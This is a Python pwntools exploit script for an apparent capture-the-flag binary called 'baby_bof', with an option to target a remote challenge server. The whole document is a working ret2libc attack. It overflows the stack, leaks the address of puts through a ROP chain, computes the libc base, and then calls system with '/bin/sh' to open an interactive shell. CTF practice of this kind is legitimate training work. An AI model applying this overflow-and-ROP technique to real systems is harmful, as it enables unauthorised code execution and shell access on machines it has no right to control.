text: #!/usr/bin/env python3
  
  from pwn import *
  
  binary = context.binary = ELF('./baby_bof')
  libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
  
  if args.REMOTE:
  	p = remote('dctf-chall-baby-bof.westeurope.azurecontainer.io', 7481)
  	libc = ELF('./libc.so.6')
  else:
  	p = process(binary.path)
  	libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
  
  pop_rdi = next(binary.search(asm('pop rdi; ret')))
  
  payload  = b''
  payload += 0x12 * b'A'
  payload += p64(pop_rdi)
  payload += p64(binary.got.puts)
  payload += p64(binary.plt.puts)
  payload += p64(binary.sym.vuln)
  
  p.sendlineafter('me\n',payload)
  p.recvuntil('work\n')
  
  puts = u64(p.recv(6) + b'\0\0')
  log.info('puts: ' + hex(puts))
  libc.address = puts - libc.sym.puts
  log.info('libc.address: ' + hex(libc.address))
  
  payload  = 0x12 * b'A'
  payload += p64(pop_rdi + 1)
  payload += p64(pop_rdi)
  payload += p64(libc.search(b'/bin/sh').__next__())
  payload += p64(libc.sym.system)
  
  p.sendlineafter('me\n',payload)
  p.recvuntil('work\n')
  p.interactive()
  
  